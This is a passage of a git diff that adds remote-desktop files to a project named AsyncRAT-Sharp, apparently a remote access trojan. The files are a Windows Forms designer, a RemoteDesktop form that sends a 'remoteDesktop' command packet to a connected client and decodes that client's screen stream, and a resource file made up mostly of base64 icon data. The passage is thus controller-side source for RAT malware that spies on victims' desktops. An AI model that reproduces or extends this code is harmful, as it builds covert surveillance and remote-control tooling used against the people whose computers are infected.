+ this.pictureBox1 = new System.Windows.Forms.PictureBox();
+ this.timer1 = new System.Windows.Forms.Timer(this.components);
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
+ this.SuspendLayout();
+ //
+ // pictureBox1
+ //
+ this.pictureBox1.Dock = System.Windows.Forms.DockStyle.Fill;
+ this.pictureBox1.Location = new System.Drawing.Point(0, 0);
+ this.pictureBox1.Name = "pictureBox1";
+ this.pictureBox1.Size = new System.Drawing.Size(938, 485);
+ this.pictureBox1.SizeMode = System.Windows.Forms.PictureBoxSizeMode.StretchImage;
+ this.pictureBox1.TabIndex = 0;
+ this.pictureBox1.TabStop = false;
+ //
+ // timer1
+ //
+ this.timer1.Enabled = true;
+ this.timer1.Interval = 1000;
+ this.timer1.Tick += new System.EventHandler(this.timer1_Tick);
+ //
+ // RemoteDesktop
+ //
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
+ this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
+ this.ClientSize = new System.Drawing.Size(938, 485);
+ this.Controls.Add(this.pictureBox1);
+ this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
+ this.Name = "RemoteDesktop";
+ this.Text = "RemoteDesktop";
+ this.Activated += new System.EventHandler(this.RemoteDesktop_Activated);
+ this.Deactivate += new System.EventHandler(this.RemoteDesktop_Deactivate);
+ ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
+ this.ResumeLayout(false);
+
+ }
+
+ #endregion
+
+ public System.Windows.Forms.PictureBox pictureBox1;
+ private System.Windows.Forms.Timer timer1;
+ }
+}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
new file mode 100644
index 0000000..fc621f4
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.cs
@@ -0,0 +1,61 @@
+using StreamLibrary;
+using StreamLibrary.UnsafeCodecs;
+using System;
+using System.Collections.Generic;
+using System.ComponentModel;
+using System.Data;
+using System.Diagnostics;
+using System.Drawing;
+using System.Linq;
+using System.Text;
+using System.Threading.Tasks;
+using System.Windows.Forms;
+using AsyncRAT_Sharp.Sockets;
+using AsyncRAT_Sharp.MessagePack;
+
+namespace AsyncRAT_Sharp.Forms
+{
+ public partial class RemoteDesktop : Form
+ {
+ public RemoteDesktop()
+ {
+ InitializeComponent();
+ }
+
+ public Form1 F { get; set; }
+ internal Clients C { get; set; }
+ public bool Active { get; set; }
+ public int FPS = 0;
+ public Stopwatch sw = Stopwatch.StartNew();
+ public Stopwatch RenderSW = Stopwatch.StartNew();
+ public IUnsafeCodec decoder = new UnsafeStreamCodec(80);
+
+ private void timer1_Tick(object sender, EventArgs e)
+ {
+ if (!C.Client.Connected)
+ {
+ this.Close();
+ }
+ }
+
+ private void RemoteDesktop_Activated(object sender, EventArgs e)
+ {
+ if (Active == false)
+ {
+ Active = true;
+ MsgPack msgpack = new MsgPack();
+ msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
+ msgpack.ForcePathObject("Option").AsString = "true";
+ C.BeginSend(msgpack.Encode2Bytes());
+ }
+ }
+
+ private void RemoteDesktop_Deactivate(object sender, EventArgs e)
+ {
+ if (Active == true)
+ {
+ Active = false;
+ }
+ }
+ }
+}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
new file mode 100644
index 0000000..e9b4dee
--- /dev/null
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/RemoteDesktop.resx
@@ -0,0 +1,580 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ text/microsoft-resx
+
+
+ 2.0
+
+
+ System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
+
+
+ 17, 17
+
+
+
+
+ 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
+ O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
+ 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
+ AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
+ AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
+ AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
+ AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
+ wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
+ ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
+ x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
+ Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
+ AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
+ Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
+ AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
+ /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
+ AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
+ tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
+ DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
+ AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
+ AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
+ AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
+ AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
+ AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
+ ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
+ AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
+ AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
+ AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
+ AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
+ AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
+ AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
+ Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
+ a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
+ AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
+ AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
+ AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
+ AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
+ AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
+ AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
+ AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
+ Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
+ AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
+ v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
+ /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
+ AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
+ v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ilUP/++/b///////jmzv/ghxj/2nkA/8ZxAP/Fdgz/7ti5////
+ ///+/fz/26ll/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQC4w3EAB8NxAADdfQAA3X0AB919
+ ALbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfAD/34UQ//ffwP///////v37/+msXP/aegD/xnEA/9KW
+ RP/8+PL///////Tm0v/Jfxv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAM3DcQARw3EAAN19
+ AADdfQAQ3X0AzN19AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/6rBm///+/P//////9diy/9yA
+ Cf/HcwL/58aZ////////////4LZ9/8NwAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA38Nx
+ AB/DcQAA3X0AAN19AB3dfQDe3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918AP/gihv/+ejS////
+ ///99+7/4pg5/9CHJf/47uH///////ju4f/NiCn/wnAA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQDtw3EAMMNxAADdfQAA3X0ALt19AOzdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/918
+ AP/uvH3////////////txI3/47R2////////////5sOV/8NyAv/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPfDcQBEw3EAAN19AADdfQBD3X0A9t19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dfQD/3XwA/+KRKf/78OH///////vx5f/47d7///////v17f/Rkjv/wm8A/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxAFzDcQAA3X0AAN19AFrdfQD93X0A/919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3X0C//HIlP//////////////////////69Cs/8V1B//DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAdcNxAADdfQAA3X0Ac919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dewD/5Zo7//327f////////////369v/WnVD/wm8A/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQCOw3EAAN19AADdfQCM3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/egAf/9NSq////////////8NzA/8d5
+ EP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0AA919
+ AKbdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/917AP/npE7//vr2//7+
+ /f/bqmb/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAv8Nx
+ AAzdfQAF3X0Akt19APLdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3XwA/9+E
+ D//338H/9ejW/8mAG//DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ APXDcQCnw3EAD919AADdfQAM3X0AOt19AIPdfQDL3X0A9d19AP/dfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dfQD/3XsA/+uwZf/gtXv/w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA+MNx
+ ANLDcQCNw3EAQsNxABDDcQAAAAAAAAAAAADdfQAA3X0AAN19ABLdfQBH3X0Ak919ANbdfQD53X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3YQQ/8t9FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD7w3EA3MNx
+ AJzDcQBQw3EAF8NxAAHDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAC3X0AGt19
+ AFXdfQCi3X0A4N19APzdfQD/3X0A/919AP/aewD/x3IA/8NxAP/DcQD/w3EA/8NxAP3DcQDmw3EAq8Nx
+ AF/DcQAgw3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AADdfQAA3X0AAN19AATdfQAj3X0AY919AK/dfQDn3X0A/dt8AP/HcwD/w3EA/sNxAOvDcQC4w3EAbcNx
+ ACrDcQAGw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACN19ADXdfQCD2nwA2MhzAN/DcQCPw3EAPcNx
+ AAzDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/+B///+AH///A
+ A///AAD//AAAP/AAAA/gAAAH4AAAA8AAAAPAAAADwAAAA8AAAAPAAAADwAAAA8AAAAPAAAABwAAAAYAA
+ AAGAAAABgAAAAYAAAAGAAAABgAAAAYAAAAGAAAAAAAAAAAAAAACAAAAB8AAAB/wAAD//gAH///AP/ygA
+ AAAwAAAAYAAAAAEAIAAAAAAAACQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19
+ AADdfQAE3n0AP9p8ALrIdADMwnEAU8NxAAnDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AADdfQAA3X0AAd19ACbdfQCM3X0A5tt8AP/IcwD/w3EA8MNxAKHDcQA2w3EAA8NxAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAa3X0Ad919ANvdfQD+3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQDnw3EAjMNx
+ ACbDcQABw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAN19AADdfQAA3X0AD919AGDdfQDM3X0A/N19AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx
+ AP/DcQD/w3EA/sNxANvDcQB2w3EAGcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAjdfQBL3X0Aud19APjdfQD/3X0A/919AP/dfQD/3X0A/9t8
+ AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD8w3EAy8NxAF/DcQAPw3EAAMNxAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3X0AON19AKXdfQDy3X0A/919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPjDcQC4w3EASsNx
+ AAjDcQAAw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAd19ACjdfQCP3X0A6d19AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA8sNxAKTDcQA3w3EAA8NxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAa3X0AeN19ANzdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQDow3EAjsNxACfDcQABw3EAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGLdfQDN3X0A/d19
+ AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8AP/IcwD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/sNxANzDcQB3w3EAGsNx
+ AADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AAndfQBN3X0Au919
+ APndfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/9t8
+ AP/IcwD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD8w3EAzMNxAGHDcQAQw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AB919
+ AJDdfQD03X0A/919AP/dfQD/3X0B/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/919
